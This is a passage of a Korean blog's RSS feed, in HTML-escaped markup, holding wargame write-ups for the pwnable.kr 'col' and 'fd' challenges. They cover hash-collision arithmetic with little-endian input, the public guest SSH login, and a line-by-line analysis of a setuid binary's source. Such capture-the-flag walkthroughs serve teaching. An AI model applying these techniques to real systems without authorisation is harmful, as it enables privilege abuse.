14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;wrong&amp;nbsp;passcode.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;col 프로그램은 인자 하나가 반드시 있어야하고, 길이는 20 byte 이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;첫 번째 인자가 check_password() 함수를 지나서 return 된 값이 hashcode와 같아야 한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;int 형 포인터로 형 변환을 했기 때문에 배열을 통해 접근하면 4 byte씩 읽어들인다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;첫 번째 인자는 20 byte의 문자열이고, 이것을 int 형 포인터로 접근한 뒤 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;4 byte 씩 5 번 접근&lt;/span&gt;한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;처음에 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;unsinged long hashcode의 MSB&lt;/span&gt;를 신경써야하나? 하고 생각했지만, &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;MSB가 양수&lt;/span&gt;이기 때문에 우리가 res 값을 음수로 만들 필요가 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;hashcode 값이 0x80000000&amp;nbsp;이상(MSB =&amp;nbsp;1)이라면, 정상적인 long 타입은 음수로 인식되지만, unsigned long 타입이면 양수로 인식되기 때문에 어려움이 있는데 다행이 이번 문제는 양수(MSB = 0)라서 unsigned type이 굳이 문제 되지 않는다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;0x21DD09EC를 5로 나누면 몫은 0x06C5CEC8이고 나머지는 4이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;0x06C5CEC8을&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt; 4번 더하고 0x06C5CECC를 한번 더하면 hashcode 값과 같아진다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;또한 우리는&lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt; little-endian&lt;/span&gt; 방식을 사용하고 있기 때문에 스크립트립트를 little-endian에 맞춰 작성해야한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 1000px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/994C144B5BDAF5AB15&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F994C144B5BDAF5AB15&quot; width=&quot;1000&quot; height=&quot;40&quot; filename=&quot;이미지 024.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</description>
      <category>Wargame/pwnable.kr</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/222</guid>
      <comments>https://marcokhan.tistory.com/222#entry222comment</comments>
      <pubDate>Thu, 1 Nov 2018 21:50:21 +0900</pubDate>
    </item>
    <item>
      <title>[pwnable.kr]  fd 풀이, write-up (File Descriptor)</title>
      <link>https://marcokhan.tistory.com/221</link>
      <description>&lt;p&gt;&lt;span style=&quot;font-size: 36pt;&quot;&gt;&lt;b&gt;pwnable.kr --- fd&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&lt;span style=&quot;background-color: rgb(228, 247, 186);&quot;&gt;ssh fd@pwnable.kr 2222 (passwd: guest)&lt;/span&gt;로 접속하면 fd 문제를 만날 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속한것이 아니라 xshell5를 통해 접속했다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;windows 환경의 cmd로 접속하려면 ssh fd@pwnable.kr -p2222 이와 같이 접속 해야한다.&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 현재 디렉터리에 어떤 파일이 있는지 확인해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 769px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99B17B3F5BD951442A&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99B17B3F5BD951442A&quot; width=&quot;769&quot; height=&quot;102&quot; filename=&quot;이미지 016.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;우선 우리는 flag를 알아야 하는데 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;현재 id가 fd이기 때문에 flag를 볼 수 있는 권한이 없다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd라는 실행파일이 존재하고 setuid가 fd_pwn의 권한으로 걸려있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt; background-color: rgb(250, 244, 192);&quot;&gt;fd 파일을 통해서 fd_pwn의 권한을 얻고 flag를 보면 될것 같은 느낌이 든다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd.c를 가지고 fd elf 파일을 만들었을 확률이 높으므로 fd.c를 분석해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 665px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991A2B3F5BD951F11B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991A2B3F5BD951F11B&quot; width=&quot;665&quot; height=&quot;440&quot; filename=&quot;이미지 017.png&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;전역변수 buf를 선언한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;char&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;buf[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;];&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;인자가 없으면 &quot;pass argv[1] a number\n&quot;를 출력하고 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(argc&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;pass&amp;nbsp;argv[1]&amp;nbsp;a&amp;nbsp;number\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;fd 라는 4 byte 정수형 변수에, argv[1]을 아스키 코드로 변경하고 0x1234를 뺀 값을 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;fd&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;atoi(argv[&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;])&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0x1234&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4 byte 정수형 변수 len을 0으로 초기화하고, fd가 가리키는 파일을 32 byte 읽어들여 buf에 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;len에는 읽어들인 byte 수를 저장한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;len&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;len&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;read(fd,&amp;nbsp;buf,&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;font-size: 